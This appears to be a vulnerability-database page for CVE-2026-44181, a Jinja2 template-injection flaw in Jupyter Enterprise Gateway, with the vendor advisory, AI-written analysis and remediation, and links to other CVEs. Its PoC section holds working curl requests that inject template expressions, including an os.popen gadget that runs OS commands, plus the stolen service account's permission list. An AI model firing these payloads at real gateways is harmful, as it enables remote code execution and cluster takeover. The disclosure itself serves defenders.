Jupyter Enterprise Gateway CVE-2026-44181
CRITICAL
GHSA-f49j-v924-fx9w
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network API request triggers template injection RCE (AV:N/AC:L/PR:N/UI:N); code executes in gateway pod but compromise extends to the Kubernetes cluster, a different security authority, so S:C with full C/I/A impact.
Primary rating from Vendor (https://github.com/jupyter-server/enterprise_gateway).
CVSS VectorVendor: https://github.com/jupyter-server/enterprise_gateway
Lifecycle Timeline
5DescriptionCVE.org
Summary
The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.
Details
The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
Simple demonstration of SSTI using {{7 * 7}}
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}Running kubectl get pods
NAME READY STATUS RESTARTS AGE
bdawg-49 1/1 Running 0 3m54sRemote code execution - OS Commands via SSTI
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07NAME READY STATUS RESTARTS AGE
bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25senterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.
Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.
Stolen Enterprise Gateway service account kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
rolebindings.rbac.authorization.k8s.io [] [] [get list create delete]
configmaps [] [] [get watch list create delete]
namespaces [] [] [get watch list create delete]
persistentvolumeclaims [] [] [get watch list create delete]
persistentvolumes [] [] [get watch list create delete]
pods [] [] [get watch list create delete]
secrets [] [] [get watch list create delete]
services [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]
sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]Impact
This is a server side template injection that leads to remote code execution (python and OS commands).
An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.
AnalysisAI
Remote code execution in Jupyter Enterprise Gateway (fixed in v3.3.0) is possible because attacker-supplied KERNEL_XXX environment variables (e.g. KERNEL_POD_NAME, KERNEL_WORKING_DIR) sent to the /api/kernels endpoint are rendered through Jinja2 when building the Kubernetes pod manifest, enabling Server-Side Template Injection. Any client able to reach the gateway API can inject Jinja2 expressions to execute Python and OS commands inside the Enterprise Gateway pod, then steal its Kubernetes service account token to read secrets and schedule privileged/hostPath pods, escalating to full cluster compromise. Publicly available exploit code exists (working curl PoCs in the advisory); the flaw is not listed in CISA KEV and EPSS is low at 0.86%.
Technical ContextAI
Jupyter Enterprise Gateway is a Python service that provisions remote Jupyter kernels as Kubernetes pods on behalf of notebook clients. When launching a kubernetes kernel, the k8s process proxy (enterprise_gateway/services/processproxies/k8s.py) and the launch_kubernetes.py launcher render the kernel-pod.yaml.j2 Jinja2 template, substituting kernel_pod_name, kernel_working_dir and other kernel_xxx values that originate directly from the KERNEL_* environment variables supplied in the API request. Because these untrusted values are placed into a Jinja2 template that is fully evaluated rather than treated as literal strings, they map to CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine / SSTI). Standard Jinja2 sandbox-escape gadgets such as {{ cycler.__init__.__globals__.os.popen('...').read() }} yield arbitrary OS command execution in the gateway pod's Python process. The affected package is distributed via PyPI as jupyter_enterprise_gateway (pkg:pip/jupyter_enterprise_gateway).
RemediationAI
Vendor-released patch: v3.3.0 - upgrade jupyter_enterprise_gateway to 3.3.0 or later (pip install --upgrade jupyter_enterprise_gateway) per advisory GHSA-f49j-v924-fx9w (https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w) and release https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0. Until patched, restrict network access to the gateway's /api/kernels endpoint so only authenticated, trusted notebook front-ends can reach it, and enforce authentication/authorization on the gateway API (do not expose it on shared or internet-reachable networks); this may break clients that currently create kernels anonymously. As defense in depth, tighten the Enterprise Gateway Kubernetes ServiceAccount RBAC to the minimum needed and remove broad secrets/pods/rolebindings/hostPath-enabling permissions, and apply Pod Security admission to block privileged and hostPath pods in the kernel namespace - this reduces blast radius but can prevent legitimately privileged kernel workloads. If feasible, validate or reject KERNEL_* env values (especially KERNEL_POD_NAME and KERNEL_WORKING_DIR) that contain Jinja2/template characters at the ingress proxy as an interim filter.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Share
External POC / Exploit Code
Leaving vuln.today